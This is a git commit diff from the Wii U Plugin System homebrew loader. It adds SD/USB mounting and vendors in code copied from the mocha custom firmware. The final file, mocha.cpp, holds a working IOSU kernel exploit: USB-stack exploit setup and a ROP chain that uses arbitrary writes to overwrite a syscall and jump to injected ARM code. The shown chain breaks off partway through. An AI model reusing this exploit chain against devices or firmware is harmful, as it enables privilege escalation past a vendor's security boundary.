mirror of
https://github.com/wiiu-env/WiiUPluginSystem.git
synced 2024-12-24 00:51:59 +01:00
[Loader] Added mocha and device mounting.
- Now patching two more function which could be used as hooks (PPCExit and ProcUIProcessMessages)
This commit is contained in:
parent
894a60c2bf
commit
dc8a9a81fc
4
.gitmodules
vendored
Normal file
4
.gitmodules
vendored
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@ -0,0 +1,4 @@
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[submodule "loader/src/mocha"]
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path = loader/src/mocha
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url = https://github.com/Maschell/mocha
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branch = sd_access
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@ -36,9 +36,10 @@ BUILD_DBG := $(TARGET)_dbg
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SOURCES := src/libelf \
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SOURCES := src/patcher \
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src/common \
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src/myutils \
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src/
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DATA :=
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DATA :=
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INCLUDES := src/libelf \
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src/
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@ -50,12 +51,12 @@ CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
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-O0 -D__wiiu__ -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
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CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
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-O0 -D__wiiu__ -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing -D_GNU_SOURCE $(INCLUDE)
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ifeq ($(DO_LOGGING), 1)
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CFLAGS += -D__LOGGING__
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CXXFLAGS += -D__LOGGING__
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endif
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endif
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ASFLAGS := -mregnames
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LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
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@ -65,7 +66,7 @@ MAKEFLAGS += --no-print-directory
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#---------------------------------------------------------------------------------
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# any extra libraries we wish to link with the project
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#---------------------------------------------------------------------------------
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LIBS := -lm -lgcc -lutils -ldynamiclibs
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LIBS := -lm -lgcc -lfat -lntfs -liosuhax -lutils -ldynamiclibs
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#---------------------------------------------------------------------------------
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# list of directories containing libraries, this must be the top level containing
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@ -119,8 +120,8 @@ export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
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export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
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$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
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-I$(PORTLIBS)/include -I$(CURDIR)/$(BUILD) \
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-I$(PORTLIBS)/include/libutils
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-I$(PORTLIBS)/include/libutils
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#---------------------------------------------------------------------------------
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# build a list of library paths
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@ -132,14 +133,38 @@ export OUTPUT := $(CURDIR)/$(TARGET)
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.PHONY: $(BUILD) clean install
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#---------------------------------------------------------------------------------
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$(BUILD):
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$(BUILD): $(CURDIR)/src/mocha/ios_kernel/ios_kernel.bin.h
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@[ -d $@ ] || mkdir -p $@
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@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
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$(CURDIR)/src/mocha/ios_kernel/ios_kernel.bin.h: $(CURDIR)/src/mocha/ios_usb/ios_usb.bin.h $(CURDIR)/src/mocha/ios_mcp/ios_mcp.bin.h $(CURDIR)/src/mocha/ios_fs/ios_fs.bin.h $(CURDIR)/src/mocha/ios_bsp/ios_bsp.bin.h $(CURDIR)/src/mocha/ios_acp/ios_acp.bin.h
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_kernel -f $(CURDIR)/src/mocha/ios_kernel/Makefile
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$(CURDIR)/src/mocha/ios_usb/ios_usb.bin.h:
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_usb -f $(CURDIR)/src/mocha/ios_usb/Makefile
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$(CURDIR)/src/mocha/ios_fs/ios_fs.bin.h:
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_fs -f $(CURDIR)/src/mocha/ios_fs/Makefile
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$(CURDIR)/src/mocha/ios_bsp/ios_bsp.bin.h:
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_bsp -f $(CURDIR)/src/mocha/ios_bsp/Makefile
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$(CURDIR)/src/mocha/ios_mcp/ios_mcp.bin.h:
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_mcp -f $(CURDIR)/src/mocha/ios_mcp/Makefile
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$(CURDIR)/src/mocha/ios_acp/ios_acp.bin.h:
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_acp -f $(CURDIR)/src/mocha/ios_acp/Makefile
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#---------------------------------------------------------------------------------
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clean:
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@echo clean ...
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@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_kernel -f $(CURDIR)/src/mocha/ios_kernel/Makefile clean
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_usb -f $(CURDIR)/src/mocha/ios_usb/Makefile clean
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_fs -f $(CURDIR)/src/mocha/ios_fs/Makefile clean
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_bsp -f $(CURDIR)/src/mocha/ios_bsp/Makefile clean
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_mcp -f $(CURDIR)/src/mocha/ios_mcp/Makefile clean
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@$(MAKE) --no-print-directory -C $(CURDIR)/src/mocha/ios_acp -f $(CURDIR)/src/mocha/ios_acp/Makefile clean
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#---------------------------------------------------------------------------------
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else
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@ -19,6 +19,14 @@ extern "C" {
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#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
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#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
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#define SDUSB_MOUNTED_NONE 0
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#define SDUSB_MOUNTED_FAKE (1<<0)
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#define SDUSB_MOUNTED_OS_SD (1<<1)
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#define SDUSB_LIBIOSU_LOADED (1<<2)
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#define SD_MOUNTED_LIBFAT (1<<3)
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#define USB_MOUNTED_LIBFAT (1<<4)
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#define USB_MOUNTED_LIBNTFS (1<<5)
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#ifndef EXIT_SUCCESS
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#define EXIT_SUCCESS 0
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#endif
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@ -1,2 +1,7 @@
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#include "retain_vars.h"
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replacement_data_t gbl_replacement_data __attribute__((section(".data")));
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u8 gAppStatus __attribute__((section(".data"))) = 0;
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volatile u8 gSDInitDone __attribute__((section(".data"))) = 0;
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void * ntfs_mounts __attribute__((section(".data"))) = NULL;
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int ntfs_mount_count __attribute__((section(".data"))) = 0;
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@ -3,6 +3,10 @@
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#include "patcher/function_patcher.h"
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extern replacement_data_t gbl_replacement_data;
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extern u8 gAppStatus;
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extern volatile u8 gSDInitDone;
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extern void * ntfs_mounts;
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extern int ntfs_mount_count;
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#endif // RETAINS_VARS_H_
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@ -4,6 +4,9 @@
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#include <stdarg.h>
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#include <stdio.h>
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#include <malloc.h>
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#include <sys/types.h>
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#include <dirent.h>
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#include <dynamic_libs/os_functions.h>
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#include <dynamic_libs/socket_functions.h>
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@ -15,16 +18,26 @@
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#include <fs/sd_fat_devoptab.h>
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#include <utils/utils.h>
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#include <system/exception_handler.h>
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#include "common/retain_vars.h"
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#include "common/common.h"
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#include "ModuleData.h"
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#include <wups.h>
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#include <utils/function_patcher.h>
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#include <wups.h>
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#include <iosuhax.h>
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#include <fat.h>
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#include <ntfs.h>
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#include "version.h"
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#include "main.h"
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#include "utils.h"
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#include "patcher/function_patcher.h"
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#include "patcher/hooks_patcher.h"
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#include "myutils/mocha.h"
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#include "myutils/libntfs.h"
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#include "myutils/libfat.h"
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#include "version.h"
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static bool loadSamplePlugins();
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static void ApplyPatches();
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@ -39,6 +52,10 @@ u8 isFirstBoot __attribute__((section(".data"))) = 1;
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/* Entry point */
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extern "C" int Menu_Main(int argc, char **argv){
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if(gAppStatus == 2){
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//"No, we don't want to patch stuff again.");
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return EXIT_RELAUNCH_ON_LOAD;
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}
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InitOSFunctionPointers();
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InitSocketFunctionPointers(); //For logging
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InitSysFunctionPointers();
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@ -50,6 +67,9 @@ extern "C" int Menu_Main(int argc, char **argv){
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setup_os_exceptions();
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DEBUG_FUNCTION_LINE("Mount SD partition\n");
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Init_SD_USB();
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if(isFirstBoot){
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memset((void*)&gbl_replacement_data,0,sizeof(gbl_replacement_data));
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if(!loadSamplePlugins()){
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@ -61,6 +81,7 @@ extern "C" int Menu_Main(int argc, char **argv){
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if(!isFirstBoot && isInMiiMakerHBL()){
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DEBUG_FUNCTION_LINE("Returing to the Homebrew Launcher!\n");
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isFirstBoot = 0;
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DeInit();
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RestorePatches();
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return EXIT_SUCCESS;
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} else {
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@ -83,12 +104,14 @@ extern "C" int Menu_Main(int argc, char **argv){
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DEBUG_FUNCTION_LINE("Application is ending now.\n");
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DeInit();
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RestorePatches();
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return EXIT_SUCCESS;
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}
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void ApplyPatches(){
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PatchInvidualMethodHooks(method_hooks_hooks, method_hooks_size_hooks, method_calls_hooks);
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for(int module_index=0;module_index<gbl_replacement_data.number_used_modules;module_index++){
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new_PatchInvidualMethodHooks(&gbl_replacement_data.module_data[module_index]);
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}
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@ -117,11 +140,16 @@ void CallHook(wups_loader_hook_type_t hook_type){
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}
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}
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void DeInit(){
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DeInit_SD_USB();
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}
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void RestorePatches(){
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for(int module_index=gbl_replacement_data.number_used_modules-1;module_index>=0;module_index--){
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DEBUG_FUNCTION_LINE("Restoring function for module: %d\n",module_index);
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new_RestoreInvidualInstructions(&gbl_replacement_data.module_data[module_index]);
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}
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RestoreInvidualInstructions(method_hooks_hooks, method_hooks_size_hooks);
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}
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s32 isInMiiMakerHBL(){
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@ -139,11 +167,8 @@ s32 isInMiiMakerHBL(){
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#define PLUGIN_LOCATION_END_ADDRESS 0x01000000
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bool loadSamplePlugins(){
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DEBUG_FUNCTION_LINE("Mount SD partition\n");
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int res = 0;
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if((res = mount_sd_fat("sd")) >= 0){
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DEBUG_FUNCTION_LINE("Mounting successful\n");
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if((gSDInitDone & (SDUSB_MOUNTED_OS_SD | SD_MOUNTED_LIBFAT)) > 0){
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DEBUG_FUNCTION_LINE("Mounting successful. Loading modules\n");
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std::vector<ModuleData *> modules;
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@ -177,7 +202,7 @@ bool loadSamplePlugins(){
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// TODO: keep it mounted for the plugins. But this would require sharing the read/write/open etc. functions from this loader.
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// Idea: Giving the init hook the pointers. Hiding the __wrap function of the plugin behind the INITIALIZE macro.
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// Needs to be tested if this is working. This would have the advantage of adopting all right/accesses from the loader (libfat, libntfs, iosuhax etc.)
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unmount_sd_fat("sd");
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//unmount_sd_fat("sd");
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}
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return true;
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}
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@ -254,3 +279,81 @@ static void loadElf(std::vector<ModuleData *>* modules, const char * elfPath, ui
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DEBUG_FUNCTION_LINE("%s loading failed. \n", elfPath);
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}
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}
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void Init_SD_USB() {
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int res = IOSUHAX_Open(NULL);
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if(res < 0){
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ExecuteIOSExploitWithDefaultConfig();
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}
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deleteDevTabsNames();
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mount_fake();
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gSDInitDone |= SDUSB_MOUNTED_FAKE;
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if(res < 0){
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DEBUG_FUNCTION_LINE("IOSUHAX_open failed\n");
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if((res = mount_sd_fat("sd")) >= 0){
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DEBUG_FUNCTION_LINE("mount_sd_fat success\n");
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gSDInitDone |= SDUSB_MOUNTED_OS_SD;
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}else{
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DEBUG_FUNCTION_LINE("mount_sd_fat failed %d\n",res);
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}
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}else{
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DEBUG_FUNCTION_LINE("Using IOSUHAX for SD/USB access\n");
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gSDInitDone |= SDUSB_LIBIOSU_LOADED;
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int ntfs_mounts = mountAllNTFS();
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if(ntfs_mounts > 0){
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gSDInitDone |= USB_MOUNTED_LIBNTFS;
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}
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if(mount_libfatAll() == 0){
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gSDInitDone |= SD_MOUNTED_LIBFAT;
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gSDInitDone |= USB_MOUNTED_LIBFAT;
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}
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}
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DEBUG_FUNCTION_LINE("%08X\n",gSDInitDone);
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}
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void DeInit_SD_USB(){
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DEBUG_FUNCTION_LINE("Called this function.\n");
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if(gSDInitDone & SDUSB_MOUNTED_FAKE){
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DEBUG_FUNCTION_LINE("Unmounting fake\n");
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unmount_fake();
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gSDInitDone &= ~SDUSB_MOUNTED_FAKE;
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}
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if(gSDInitDone & SDUSB_MOUNTED_OS_SD){
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DEBUG_FUNCTION_LINE("Unmounting OS SD\n");
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unmount_sd_fat("sd");
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gSDInitDone &= ~SDUSB_MOUNTED_OS_SD;
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}
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if(gSDInitDone & SD_MOUNTED_LIBFAT){
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DEBUG_FUNCTION_LINE("Unmounting LIBFAT SD\n");
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unmount_libfat("sd");
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gSDInitDone &= ~SD_MOUNTED_LIBFAT;
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}
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if(gSDInitDone & USB_MOUNTED_LIBFAT){
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DEBUG_FUNCTION_LINE("Unmounting LIBFAT USB\n");
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unmount_libfat("usb");
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gSDInitDone &= ~USB_MOUNTED_LIBFAT;
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}
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if(gSDInitDone & USB_MOUNTED_LIBNTFS){
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DEBUG_FUNCTION_LINE("Unmounting LIBNTFS USB\n");
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unmountAllNTFS();
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gSDInitDone &= ~USB_MOUNTED_LIBNTFS;
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}
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if(gSDInitDone & SDUSB_LIBIOSU_LOADED){
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DEBUG_FUNCTION_LINE("Calling IOSUHAX_Close\n");
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IOSUHAX_Close();
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gSDInitDone &= ~SDUSB_LIBIOSU_LOADED;
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}
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deleteDevTabsNames();
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if(gSDInitDone != SDUSB_MOUNTED_NONE){
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DEBUG_FUNCTION_LINE("WARNING. Some devices are still mounted.\n");
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}
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DEBUG_FUNCTION_LINE("Function end.\n");
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}
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@ -31,6 +31,12 @@ extern "C" {
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//! C wrapper for our C++ functions
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int Menu_Main(int argc, char **argv);
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void Init_SD_USB();
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void DeInit_SD_USB();
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void DeInit();
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#ifdef __cplusplus
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}
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#endif
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1
loader/src/mocha
Submodule
1
loader/src/mocha
Submodule
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Subproject commit 74f723e2ab5c77e6f79da2816114627a46ee9f2f
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20
loader/src/myutils/libfat.cpp
Normal file
20
loader/src/myutils/libfat.cpp
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#include <utils/logger.h>
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#include "libfat.h"
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#include <iosuhax.h>
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#include <fat.h>
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#include "common/retain_vars.h"
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int mount_libfatAll(){
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int res = -1;
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if((res = fatInitDefault()) >= 0){
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DEBUG_FUNCTION_LINE("fatInitDefault success\n");
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return 0;
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}else{
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DEBUG_FUNCTION_LINE("fatInitDefault failed %d\n",res);
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}
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return -1;
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}
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void unmount_libfat(const char * path){
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fatUnmount(path);
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}
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15
loader/src/myutils/libfat.h
Normal file
15
loader/src/myutils/libfat.h
Normal file
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#ifndef __LIBFAT_MOUNT_H_
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#define __LIBFAT_MOUNT_H_
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#ifdef __cplusplus
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extern "C" {
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#endif
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int mount_libfatAll();
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void unmount_libfat(const char * path);
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#ifdef __cplusplus
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}
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#endif
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#endif
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39
loader/src/myutils/libntfs.cpp
Normal file
39
loader/src/myutils/libntfs.cpp
Normal file
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <utils/logger.h>
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#include "libntfs.h"
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#include <iosuhax.h>
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#include <ntfs.h>
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#include "common/retain_vars.h"
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int mountAllNTFS(){
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int i;
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// Mount all NTFS volumes on all inserted block devices
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ntfs_mount_count = ntfsMountAll((ntfs_md **) &ntfs_mounts, NTFS_DEFAULT | NTFS_RECOVER);
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if (ntfs_mount_count == -1){
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DEBUG_FUNCTION_LINE("Error whilst mounting devices.\n");
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}else if (ntfs_mount_count == 0){
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DEBUG_FUNCTION_LINE("No NTFS volumes were found and/or mounted.\n");
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}else{
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DEBUG_FUNCTION_LINE("%i NTFS volumes(s) mounted!\n", ntfs_mount_count);
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}
|
||||
// List all mounted NTFS volumes
|
||||
for (i = 0; i < ntfs_mount_count; i++){
|
||||
DEBUG_FUNCTION_LINE("%i - %s:/ (%s)\n", i + 1, ((ntfs_md *)ntfs_mounts)[i].name, ntfsGetVolumeName(((ntfs_md *)ntfs_mounts)[i].name));
|
||||
}
|
||||
return ntfs_mount_count;
|
||||
}
|
||||
|
||||
int unmountAllNTFS(void){
|
||||
if (ntfs_mounts) {
|
||||
int i = 0;
|
||||
for (i = 0; i < ntfs_mount_count; i++){
|
||||
ntfsUnmount(((ntfs_md *)ntfs_mounts)[i].name, true);
|
||||
}
|
||||
free(ntfs_mounts);
|
||||
ntfs_mounts = NULL;
|
||||
ntfs_mount_count = 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
7
loader/src/myutils/libntfs.h
Normal file
7
loader/src/myutils/libntfs.h
Normal file
@ -0,0 +1,7 @@
|
||||
#ifndef __LIBNTFS_MOUNT_H_
|
||||
#define __LIBNTFS_MOUNT_H_
|
||||
|
||||
int mountAllNTFS(void);
|
||||
int unmountAllNTFS();
|
||||
|
||||
#endif
|
433
loader/src/myutils/mocha.cpp
Normal file
433
loader/src/myutils/mocha.cpp
Normal file
@ -0,0 +1,433 @@
|
||||
/**
|
||||
Copy pasted from MOCHA!
|
||||
https://raw.githubusercontent.com/dimok789/mocha/
|
||||
**/
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <dynamic_libs/os_functions.h>
|
||||
#include <utils/logger.h>
|
||||
#include "mocha.h"
|
||||
|
||||
#define ALIGN4(x) (((x) + 3) & ~3)
|
||||
|
||||
#define CHAIN_START 0x1016AD40
|
||||
#define SHUTDOWN 0x1012EE4C
|
||||
#define SIMPLE_RETURN 0x101014E4
|
||||
#define SOURCE (0x120000)
|
||||
#define IOS_CREATETHREAD 0x1012EABC
|
||||
#define ARM_CODE_BASE 0x08135000
|
||||
#define REPLACE_SYSCALL 0x081298BC
|
||||
|
||||
//extern const u8 launch_image_tga[];
|
||||
//extern const u32 launch_image_tga_size;
|
||||
|
||||
static void uhs_exploit_init(int uhs_handle, cfw_config_t * config);
|
||||
static int uhs_write32(int uhs_handle, int arm_addr, int val);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
static int *pretend_root_hub = (int*)0xF5003ABC;
|
||||
static int *ayylmao = (int*)0xF4500000;
|
||||
//!-------------------------------------
|
||||
|
||||
typedef struct
|
||||
{
|
||||
u32 size;
|
||||
u8 data[0];
|
||||
} payload_info_t;
|
||||
|
||||
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
||||
#include "../mocha/ios_kernel/ios_kernel.bin.h"
|
||||
#include "../mocha/ios_usb/ios_usb.bin.h"
|
||||
#include "../mocha/ios_fs/ios_fs.bin.h"
|
||||
#include "../mocha/ios_bsp/ios_bsp.bin.h"
|
||||
#include "../mocha/ios_mcp/ios_mcp.bin.h"
|
||||
#include "../mocha/ios_acp/ios_acp.bin.h"
|
||||
|
||||
|
||||
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
||||
static const unsigned int final_chain[] = {
|
||||
0x101236f3, // 0x00 POP {R1-R7,PC}
|
||||
0x0, // 0x04 arg
|
||||
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
||||
0x68, // 0x0C stacksize
|
||||
0x10101638, // 0x10
|
||||
0x0, // 0x14
|
||||
0x0, // 0x18
|
||||
0x0, // 0x1C
|
||||
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x30
|
||||
0x0, // 0x34
|
||||
IOS_CREATETHREAD, // 0x38
|
||||
0x1, // 0x3C
|
||||
0x2, // 0x40
|
||||
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
||||
0x0, // 0x50
|
||||
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
||||
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x5C
|
||||
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x64
|
||||
0x0, // 0x68
|
||||
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A04000, // 0x80 value: MOV R4, R0
|
||||
0x0, // 0x84
|
||||
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
||||
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x90
|
||||
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xA4
|
||||
0x0, // 0xA8
|
||||
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
||||
0x0, // 0xB8
|
||||
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
||||
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xC4
|
||||
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0xCC
|
||||
0x0, // 0xD0
|
||||
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xD8
|
||||
0x0, // 0xDC
|
||||
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
||||
0x0, // 0xEC
|
||||
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
||||
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xF8
|
||||
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x100
|
||||
0x0, // 0x104
|
||||
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x10C
|
||||
0x0, // 0x110
|
||||
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A00004, // 0x11C value: MOV R0, R4
|
||||
0x0, // 0x120
|
||||
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
||||
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x12C
|
||||
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x134
|
||||
0x0, // 0x138
|
||||
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x140
|
||||
0x0, // 0x144
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x00000000, // 0x150 value: NOP
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A03004, // 0x184 value: MOV R3, R4
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
||||
0x0, // 0x1BC
|
||||
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
||||
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x1C8
|
||||
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x1D0
|
||||
0x0, // 0x1D4
|
||||
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
||||
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
||||
0x0, // 0x1E0
|
||||
